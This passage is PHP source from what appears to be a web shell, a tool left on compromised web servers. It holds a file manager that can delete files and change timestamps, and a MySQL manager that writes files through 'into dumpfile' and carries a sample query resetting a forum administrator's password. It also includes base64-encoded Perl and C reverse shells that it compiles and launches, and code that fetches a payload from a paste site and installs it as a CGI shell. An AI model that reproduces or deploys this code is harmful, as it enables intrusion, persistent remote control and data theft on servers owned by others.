$('copyfile').sname.value=sname;	$('copyfile').submit();}function rename(oldname){	var newfilename;	newfilename = prompt('former file name:'+oldname+'\nplease input new filename:', '');	if (!newfilename) return;	$('rename').newfilename.value=newfilename;	$('rename').oldname.value=oldname;	$('rename').submit();}function dofile(doing,thefile,m){	if (m && !confirm(m)) {		return;	}	$('filelist').doing.value=doing;	if (thefile){		$('filelist').thefile.value=thefile;	}	$('filelist').submit();}function createfile(nowpath){	var filename;	filename = prompt('please input the file name:', '');	if (!filename) return;	opfile('editfile',nowpath + filename,nowpath);}function opfile(action,opfile,dir){	$('fileopform').action.value=action;	$('fileopform').opfile.value=opfile;	$('fileopform').dir.value=dir;	$('fileopform').submit();}function godir(dir,view_writable){	if (view_writable) {		$('godir').view_writable.value=1;	}	$('godir').dir.value=dir;	$('godir').submit();}</script>  <?php	tbhead();	p('<form action="'.$self.'" method="post" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');	p('<a href="javascript:godir(\''.$_server["document_root"].'\');">webroot</a>');	if ($view_writable) {		p(' | <a href="javascript:godir(\''.$nowpath.'\');">view all</a>');	} else {		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">view writable</a>');	}	p(' | <a href="javascript:createdir();">create directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">create file</a>');	if (is_win && is_com) {		$obj = new com('scripting.filesystemobject');		if ($obj && is_object($obj)) {			$drivetypedb = array(0 => 'unknow',1 => 'removable',2 => 'fixed',3 => 'network',4 => 'cdrom',5 => 'ram disk');			foreach($obj->drives as $drive) {				if ($drive->drivetype == 2) {					p(' | <a href="javascript:godir(\''.$drive->path.'/\');" title="size:'.sizecount($drive->totalsize).'&#13;free:'.sizecount($drive->freespace).'&#13;type:'.$drivetypedb[$drive->drivetype].'">'.$drivetypedb[$drive->drivetype].'('.$drive->path.')</a>');				} else {					p(' | <a href="javascript:godir(\''.$drive->path.'/\');" title="type:'.$drivetypedb[$drive->drivetype].'">'.$drivetypedb[$drive->drivetype].'('.$drive->path.')</a>');				}			}		}	}	p('</td></tr></form>');	p('<tr class="head"><td>&nbsp;</td><td>filename</td><td width="16%">last modified</td><td width="10%">size</td><td width="20%">chmod / perms</td><td width="22%">action</td></tr>');	// get path	$dirdata=array();	$filedata=array();	if ($view_writable) {		$dirdata = getlist($nowpath);	} else {		// open dir		[email protected]($dir);		while ([email protected]($dirs)) {			$filepath=$nowpath.$file;			if(@is_dir($filepath)){				$dirdb['filename']=$file;				$dirdb['mtime'][email protected]('y-m-d h:i:s',filemtime($filepath));				$dirdb['dirchmod']=getchmod($filepath);				$dirdb['dirperm']=getperms($filepath);				$dirdb['fileowner']=getuser($filepath);				$dirdb['dirlink']=$nowpath;				$dirdb['server_link']=$filepath;				$dirdb['client_link']=ue($filepath);				$dirdata[]=$dirdb;			} else {				$filedb['filename']=$file;				$filedb['size']=sizecount(@filesize($filepath));				$filedb['mtime'][email protected]('y-m-d h:i:s',filemtime($filepath));				$filedb['filechmod']=getchmod($filepath);				$filedb['fileperm']=getperms($filepath);				$filedb['fileowner']=getuser($filepath);				$filedb['dirlink']=$nowpath;				$filedb['server_link']=$filepath;				$filedb['client_link']=ue($filepath);				$filedata[]=$filedb;			}		}// while		unset($dirdb);		unset($filedb);		@closedir($dirs);	}	@sort($dirdata);	@sort($filedata);	$dir_i = '0';	foreach($dirdata as $key => $dirdb){		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {			$thisbg = bg();			p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');			p('<td nowrap>'.$dirdb['mtime'].'</td>');			p('<td nowrap>--</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'are you sure will delete '.$dirdb['filename'].'? \\n\\nif non-empty directory, will be delete all the files.\')">del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">rename</a></td>');			p('</tr>');			$dir_i++;		} else {			if($dirdb['filename']=='..') {				p('<tr class=fout>');				p('<td align="center"><font face="wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getuppath($nowpath).'\');">parent directory</a></td>');				p('</tr>');			}		}	}	p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');	makehide('action','file');	makehide('thefile');	makehide('doing');	makehide('dir',$nowpath);	$file_i = '0';	foreach($filedata as $key => $filedb){		if($filedb['filename']!='..' && $filedb['filename']!='.') {			$fileurl = str_replace(sa_root,'',$filedb['server_link']);			$thisbg = bg();			p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');			p('<td nowrap>'.$filedb['mtime'].'</td>');			p('<td nowrap>'.$filedb['size'].'</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');			p('<td nowrap>');			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">down</a> | ');			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">copy</a> | ');			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">edit</a> | ');			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">rename</a> | ');			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">time</a>');			p('</td></tr>');			$file_i++;		}	}	p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');	p('</form></table>');}// end direlseif ($action == 'sqlfile') {	if($doing=="mysqlupload"){		$file = $_files['uploadfile'];		$filename = $file['tmp_name'];		if (file_exists($savepath)) {			m('the goal file has already existed');		} else {			if(!$filename) {				m('please choose a file');			} else {				[email protected]($filename,'r');				[email protected]($fp, filesize($filename));				@fclose($fp);				$contents = bin2hex($contents);				if(!$upname) $upname = $file['name'];				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);				$result = q("select 0x{$contents} from mysql.user into dumpfile '$savepath';");				m($result ? 'upload success' : 'upload has failed: '.mysql_error());			}		}	}?><script type="text/javascript">function mysqlfile(doing){	if(!doing) return;	$('doing').value=doing;	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;	$('mysqlfile').charset.value=$('dbinfo').charset.value;	$('mysqlfile').submit();}</script><?php	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$charsets = array(''=>'default','utf-8'=>'utf-8', 'utf-8'=>'big5', 'utf8'=>'utf-8', 'latin1'=>'latin1');	formhead(array('title'=>'mysql information','name'=>'dbinfo'));	makehide('action','sqlfile');	p('<p>');	p('dbhost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('dbuser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('dbpass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('dbname:');	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));	p('dbcharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	p('</p>');	formfoot();	p('<form action="'.$self.'" method="post" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');	p('<h2>upload file</h2>');	p('<p><b>this operation the db user must has file privilege</b></p>');	p('<p>save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">upload</a></p>');	p('<h2>download file</h2>');	p('<p>file: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">download</a></p>');	makehide('dbhost');	makehide('dbport');	makehide('dbuser');	makehide('dbpass');	makehide('dbname');	makehide('charset');	makehide('doing');	makehide('action','sqlfile');	p('</form>');}elseif ($action == 'sqladmin') {	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';	if(isset($dbhost)){		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";	}	if(isset($dbuser)) {		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";	}	if(isset($dbpass)) {		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";	}	if(isset($dbport)) {		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";	}	if(isset($dbname)) {		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";	}	if(isset($charset)) {		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";	}	if ($doing == 'backupmysql' && $saveasfile) {		if (!$table) {			m('please choose the table');		} else {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			$table = array_flip($table);			$fp = @fopen($path,'w');			if ($fp) {				$result = q('show tables');				if (!$result) p('<h2>'.mysql_error().'</h2>');				$mysqldata = '';				while ($currow = mysql_fetch_array($result)) {					if (isset($table[$currow[0]])) {						sqldumptable($currow[0], $fp);					}				}				fclose($fp);				$fileurl = str_replace(sa_root,'',$path);				m('database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');				mysql_close();			} else {				m('backup failed');			}		}	}	if ($insert && $insertsql) {		$keystr = $valstr = $tmp = '';		foreach($insertsql as $key => $val) {			if ($val) {				$keystr .= $tmp.$key;				$valstr .= $tmp."'".addslashes($val)."'";				$tmp = ',';			}		}		if ($keystr && $valstr) {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("insert into $tablename ($keystr) values ($valstr)") ? 'insert new record of success' : mysql_error());		}	}	if ($update && $insertsql && $base64) {		$valstr = $tmp = '';		foreach($insertsql as $key => $val) {			$valstr .= $tmp.$key."='".addslashes($val)."'";			$tmp = ',';		}		if ($valstr) {			$where = base64_decode($base64);			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("update $tablename set $valstr where $where limit 1") ? 'record updating' : mysql_error());		}	}	if ($doing == 'del' && $base64) {		$where = base64_decode($base64);		$delete_sql = "delete from $tablename where $where";		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		m(q("delete from $tablename where $where") ? 'deletion record of success' : mysql_error());	}	if ($tablename && $doing == 'drop') {		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		if (q("drop table $tablename")) {			m('drop table of success');			$tablename = '';		} else {			m(mysql_error());		}	}	$charsets = array(''=>'default','utf-8'=>'utf-8', 'utf-8'=>'big5', 'utf8'=>'utf-8', 'latin1'=>'latin1');	formhead(array('title'=>'mysql manager'));	makehide('action','sqladmin');	p('<p>');	p('dbhost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('dbuser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('dbpass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('dbcharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	makeinput(array('name'=>'connect','value'=>'connect','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();?><script type="text/javascript">function editrecord(action, base64, tablename){	if (action == 'del') {		if (!confirm('is or isn\'t deletion record?')) return;	}	$('recordlist').doing.value=action;	$('recordlist').base64.value=base64;	$('recordlist').tablename.value=tablename;	$('recordlist').submit();}function moddbname(dbname) {	if(!dbname) return;	$('setdbname').dbname.value=dbname;	$('setdbname').submit();}function settable(tablename,doing,page) {	if(!tablename) return;	if (doing) {		$('settable').doing.value=doing;	}	if (page) {		$('settable').page.value=page;	}	$('settable').tablename.value=tablename;	$('settable').submit();}</script><?php	// sql	formhead(array('name'=>'recordlist'));	makehide('doing');	makehide('action','sqladmin');	makehide('base64');	makehide('tablename');	p($dbform);	formfoot();	// data	formhead(array('name'=>'setdbname'));	makehide('action','sqladmin');	p($dbform);	if (!$dbname) {		makehide('dbname');	}	formfoot();	formhead(array('name'=>'settable'));	makehide('action','sqladmin');	p($dbform);	makehide('tablename');	makehide('page',$page);	makehide('doing');	formfoot();	$cachetables = array();	$pagenum = 30;	$page = intval($page);	if($page) {		$start_limit = ($page - 1) * $pagenum;	} else {		$start_limit = 0;		$page = 1;	}	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		// get mysql server		$mysqlver = mysql_get_server_info();		p('<p>mysql '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');		$highver = $mysqlver > '4.1' ? 1 : 0;		// show database		$query = q("show databases");		$dbs = array();		$dbs[] = '-- select a database --';		while($db = mysql_fetch_array($query)) {			$dbs[$db['database']] = $db['database'];		}		makeselect(array('title'=>'please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedindex].value)','newline'=>1));		$tabledb = array();		if ($dbname) {			p('<p>');			p('current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');			if ($tablename) {				p(' | current table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">drop</a> ]');			}			p('</p>');			mysql_select_db($dbname);			$getnumsql = '';			$runquery = 0;			if ($sql_query) {				$runquery = 1;			}			$allowedit = 0;			if ($tablename && !$sql_query) {				$sql_query = "select * from $tablename";				$getnumsql = $sql_query;				$sql_query = $sql_query." limit $start_limit, $pagenum";				$allowedit = 1;			}			p('<form action="'.$self.'" method="post">');			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">run sql query/queries on database <font color=red><b>'.$dbname.'</font></b>:<br>example vbb password: <font color=red>vbateam</font><br><font color=yellow>update `user` set `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5t\' where `userid` = \'1\' </font>			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ent_quotes).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="query" /></td></tr></table></p>');			makehide('tablename', $tablename);			makehide('action','sqladmin');			p($dbform);			p('</form>');			if ($tablename || ($runquery && $sql_query)) {				if ($doing == 'structure') {					$result = q("show columns from $tablename");					$rowdb = array();					while($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					p('<table border="0" cellpadding="3" cellspacing="0">');					p('<tr class="head">');					p('<td>field</td>');					p('<td>type</td>');					p('<td>null</td>');					p('<td>key</td>');					p('<td>default</td>');					p('<td>extra</td>');					p('</tr>');					foreach ($rowdb as $row) {						$thisbg = bg();						p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');						p('<td>'.$row['field'].'</td>');						p('<td>'.$row['type'].'</td>');						p('<td>'.$row['null'].'&nbsp;</td>');						p('<td>'.$row['key'].'&nbsp;</td>');						p('<td>'.$row['default'].'&nbsp;</td>');						p('<td>'.$row['extra'].'&nbsp;</td>');						p('</tr>');					}					tbfoot();				} elseif ($doing == 'insert' || $doing == 'edit') {					$result = q('show columns from '.$tablename);					while ($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					$rs = array();					if ($doing == 'insert') {						p('<h2>insert new line in '.$tablename.' table &raquo;</h2>');					} else {						p('<h2>update record in '.$tablename.' table &raquo;</h2>');						$where = base64_decode($base64);						$result = q("select * from $tablename where $where limit 1");						$rs = mysql_fetch_array($result);					}					p('<form method="post" action="'.$self.'">');					p($dbform);					makehide('action','sqladmin');					makehide('tablename',$tablename);					p('<table border="0" cellpadding="3" cellspacing="0">');					foreach ($rowdb as $row) {						if ($rs[$row['field']]) {							$value = htmlspecialchars($rs[$row['field']]);						} else {							$value = '';						}						$thisbg = bg();						p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');						p('<td><b>'.$row['field'].'</b><br />'.$row['type'].'</td><td><textarea class="area" name="insertsql['.$row['field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');					}					if ($doing == 'insert') {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="insert" /></td></tr>');					} else {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="update" /></td></tr>');						makehide('base64', $base64);					}					p('</table></form>');				} else {					$querys = @explode(';',$sql_query);					foreach($querys as $num=>$query) {						if ($query) {							p("<p><b>query#{$num} : ".htmlspecialchars($query,ent_quotes)."</b></p>");							switch(qy($query))							{								case 0:									p('<h2>error : '.mysql_error().'</h2>');									break;								case 1:									if (strtolower(substr($query,0,13)) == 'select * from') {										$allowedit = 1;									}									if ($getnumsql) {										$tatol = mysql_num_rows(q($getnumsql));										$multipage = multi($tatol, $pagenum, $page, $tablename);									}									if (!$tablename) {										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);										$tablename = $matches[1][0];									}									$result = q($query);									p($multipage);									p('<table border="0" cellpadding="3" cellspacing="0">');									p('<tr class="head">');									if ($allowedit) p('<td>action</td>');									$fieldnum = @mysql_num_fields($result);									for($i=0;$i<$fieldnum;$i++){										$name = @mysql_field_name($result, $i);										$type = @mysql_field_type($result, $i);										$len = @mysql_field_len($result, $i);										p("<td nowrap>$name<br><span>$type($len)</span></td>");									}									p('</tr>');									while($mn = @mysql_fetch_assoc($result)){										$thisbg = bg();										p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');										$where = $tmp = $b1 = '';										foreach($mn as $key=>$inside){											if ($inside) {												$where .= $tmp.$key."='".addslashes($inside)."'";												$tmp = ' and ';											}											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';										}										$where = base64_encode($where);										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">del</a></td>');										p($b1);										p('</tr>');										unset($b1);									}									tbfoot();									p($multipage);									break;								case 2:									$ar = mysql_affected_rows();									p('<h2>affected rows : <b>'.$ar.'</b></h2>');									break;							}						}					}				}			} else {				$query = q("show table status");				$table_num = $table_rows = $data_size = 0;				$tabledb = array();				while($table = mysql_fetch_array($query)) {					$data_size = $data_size + $table['data_length'];					$table_rows = $table_rows + $table['rows'];					$table['data_length'] = sizecount($table['data_length']);					$table_num++;					$tabledb[] = $table;				}				$data_size = sizecount($data_size);				unset($table);				p('<table border="0" cellpadding="0" cellspacing="0">');				p('<form action="'.$self.'" method="post">');				makehide('action','sqladmin');				p($dbform);				p('<tr class="head">');				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');				p('<td>name</td>');				p('<td>rows</td>');				p('<td>data_length</td>');				p('<td>create_time</td>');				p('<td>update_time</td>');				if ($highver) {					p('<td>engine</td>');					p('<td>collation</td>');				}				p('</tr>');				foreach ($tabledb as $key => $table) {					$thisbg = bg();					p('<tr class="fout" onmouseover="this.classname=\'focus\';" onmouseout="this.classname=\'fout\';">');					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['name'].'" /></td>');					p('<td><a href="javascript:settable(\''.$table['name'].'\');">'.$table['name'].'</a> [ <a href="javascript:settable(\''.$table['name'].'\', \'insert\');">insert</a> | <a href="javascript:settable(\''.$table['name'].'\', \'structure\');">structure</a> | <a href="javascript:settable(\''.$table['name'].'\', \'drop\');">drop</a> ]</td>');					p('<td>'.$table['rows'].'</td>');					p('<td>'.$table['data_length'].'</td>');					p('<td>'.$table['create_time'].'</td>');					p('<td>'.$table['update_time'].'</td>');					if ($highver) {						p('<td>'.$table['engine'].'</td>');						p('<td>'.$table['collation'].'</td>');					}					p('</tr>');				}				p('<tr class=fout>');				p('<td>&nbsp;</td>');				p('<td>total tables: '.$table_num.'</td>');				p('<td>'.$table_rows.'</td>');				p('<td>'.$data_size.'</td>');				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');				p('</tr>');				p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> save as file <input class=\"input\" name=\"path\" value=\"".sa_root.$_server['http_host']."_mysql.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"export selection table\" /></td></tr>");				makehide('doing','backupmysql');				formfoot();				p("</table>");				fr($query);			}		}	}	tbfoot();	@mysql_close();}//end sql backupelseif ($action == 'backconnect') {	!$yourip && $yourip = $_server['remote_addr'];	!$yourport && $yourport = '12345';	$usedb = array('perl'=>'perl','c'=>'c');	$back_connect="iyevdxnyl2jpbi9wzxjsdqp1c2ugu29ja2v0ow0kjgntzd0gimx5bngiow0kjhn5c3rlbt0gj2vjag8gimb1bmftzsatywaio2vj".		"ag8gimbpzgaioy9iaw4vc2gnow0kjda9jgntzdsncir0yxjnzxq9jefsr1zbmf07dqokcg9ydd0kqvjhvlsxxtsncirpywrkcj1pbmv0x2f0b24ojhr".		"hcmdldckgfhwgzgllkcjfcnjvcjogjcfcbiipow0kjhbhzgrypxnvy2thzgryx2lukcrwb3j0lcakawfkzhipihx8igrpzsgirxjyb3i6icqhxg4ikt".		"sncirwcm90bz1nzxrwcm90b2j5bmftzsgndgnwjyk7dqpzb2nrzxqou09ds0vulcbqrl9jtkvulcbtt0nlx1nuukvbtswgjhbyb3rvksb8fcbkawuoi".		"kvycm9yoiakivxuiik7dqpjb25uzwn0kfnpq0tfvcwgjhbhzgryksb8fcbkawuoikvycm9yoiakivxuiik7dqpvcgvukfnurelolcaipiztt0nlrvqi".		"ktsncm9wzw4ou1ret1vulcaipiztt0nlrvqiktsncm9wzw4ou1rervjslcaipiztt0nlrvqiktsncnn5c3rlbsgkc3lzdgvtktsncmnsb3nlkfnurel".		"oktsncmnsb3nlkfnure9vvck7dqpjbg9zzshtverfulipow==";	$back_connect_c="i2luy2x1zgugphn0zglvlmg+dqojaw5jbhvkzsa8c3lzl3nvy2tldc5opg0ki2luy2x1zgugpg5ldgluzxqvaw4uad4ncmludc".		"btywlukgludcbhcmdjlcbjagfyicphcmd2w10pdqp7dqogaw50igzkow0kihn0cnvjdcbzb2nrywrkcl9pbibzaw47dqogy2hhcibybxnbmjfdpsjyb".		"satziaioyancibkywvtb24omswwktsncibzaw4uc2lux2zhbwlsesa9iefgx0lorvq7dqogc2lulnnpbl9wb3j0id0gahrvbnmoyxrvashhcmd2wzjd".		"ksk7dqogc2lulnnpbl9hzgrylnnfywrkcia9igluzxrfywrkcihhcmd2wzfdktsgdqogynplcm8oyxjndlsxxsxzdhjszw4oyxjndlsxxskrmstzdhj".		"szw4oyxjndlsyxskpoyancibmzca9ihnvy2tldchbrl9jtkvulcbtt0nlx1nuukvbtswgsvbquk9ut19uq1apidsgdqogawygkchjb25uzwn0kgzklc".		"aoc3rydwn0ihnvy2thzgryicopiczzaw4sihnpemvvzihzdhj1y3qgc29ja2fkzhipksk8mckgew0kicagcgvycm9ykcjblv0gy29ubmvjdcgpiik7d".		"qogicblegl0kdapow0kih0ncibzdhjjyxqocm1zlcbhcmd2wzbdktsncibzexn0zw0ocm1zktsgia0kigr1cdiozmqsidapow0kigr1cdiozmqsidep".		"ow0kigr1cdiozmqsidipow0kigv4zwnskcivymlul3noiiwic2gglwkilcbovuxmktsncibjbg9zzshmzck7ia0kfq==";	if ($start && $yourip && $yourport && $use){		if ($use == 'perl') {			cf('/tmp/angel_bc',$back_connect);			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");		} else {			cf('/tmp/angel_bc.c',$back_connect_c);			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');			@unlink('/tmp/angel_bc.c');			$res = execute("/tmp/angel_bc $yourip $yourport &");		}		m("now script try connect to $yourip port $yourport ...");	}	formhead(array('title'=>'back connect'));	makehide('action','backconnect');	p('<p>');	p('your ip:');	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));	p('your port:');	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));	p('use:');	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));	makeinput(array('name'=>'start','value'=>'start','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();}//end backconnect window via nc//cgi shell      elseif ($action == 'cgi') {    mkdir('error', 0755);    chdir('error');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("can not open file!");    $metin = "options +followsymlinks +indexesdirectoryindex default.html ## start ##options +execcgiaddhandler cgi-script log cgi pl tg love h4 tgb x-zone addtype application/x-httpd-php .jpgrewriteengine onrewriterule (.*)\.war$ .log## end ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');    $file = fopen("error.log", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("error.log", 0755);    echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";}//end cgi//newcommandelseif ($action == 'newcommand') {    $file       = fopen($dir . "command.php", "w+");    $perltoolss = 'pd9wahakcirhbglhc2vzid0gyxjyyxkoj2xhjya9pianbhmglwxhjywkj2xsjya9pianbhmglwx2aeynlaonzglyjya9pianbhmnick7cirwyxnzd2qgpsbhcnjhesgnjya9pianjyk7cmvycm9yx3jlcg9ydgluzygwktsky2xhc3mgcghwdghpzw5szsb7cgpmdw5jdglvbibmb3jtyxrqcm9tchqoksb7cir1c2vypxnozwxsx2v4zwmoindob2ftasipowokag9zdd1lehbsb2rlkciuiiwgc2hlbgxfzxhlyygidw5hbwuglw4iksk7cirfu0vtu0lptlsnchjvbxb0j10gpsaiii5ydhjpbsgkdxnlcikuiiiuikailiiilnj0cmltkcrob3n0wzbdks4iijskfqokznvuy3rpb24gy2hly2tqyxnzd29yzcgkcgfzc3dkksb7cmlmkcfpc3nldcgkx1nfulzfulsnuehqx0fvvehfvvnfuiddkxx8cifpc3nldcgkx1nfulzfulsnuehqx0fvvehfufcnxskgfhwkiwlzc2v0kcrwyxnzd2rbjf9trvjwrvjbj1biuf9bvvrix1vtrvinxv0pihx8cirwyxnzd2rbjf9trvjwrvjbj1biuf9bvvrix1vtrvinxv0git0gjf9trvjwrvjbj1biuf9bvvrix1bxj10pihskqhnlc3npb25fc3rhcnqoktskcmv0dxjuihrydwu7cn0kzwxzzsb7ckbzzxnzaw9ux3n0yxj0kck7cnjldhvybib0cnvlowp9cn0kcmz1bmn0aw9uigluaxrwyxjzkckkewppziaozw1wdhkojf9trvntsu9owydjd2qnxskgfhwgiwvtchr5kcrfukvrvuvtvfsncmvzzxqnxskpcnskjf9trvntsu9owydjd2qnxsa9igdldgn3zcgpowokx1nfu1njt05bj2hpc3rvcnknxsa9igfycmf5kck7cirfu0vtu0lptlsnb3v0chv0j10gpsanjzskjf9srvfvrvnuwydjb21tyw5kj10gpscnowp9cn0kcmz1bmn0aw9uigj1awxkq29tbwfuzehpc3rvcnkokqp7cmlmkcflbxb0esgkx1jfuvvfu1rbj2nvbw1hbmqnxskpcnskawyoz2v0x21hz2ljx3f1b3rlc19ncgmokskkewokx1jfuvvfu1rbj2nvbw1hbmqnxsa9ihn0cmlwc2xhc2hlcygkx1jfuvvfu1rbj2nvbw1hbmqnxsk7cn0kci8vigryb3agb2xkignvbw1hbmrzigzy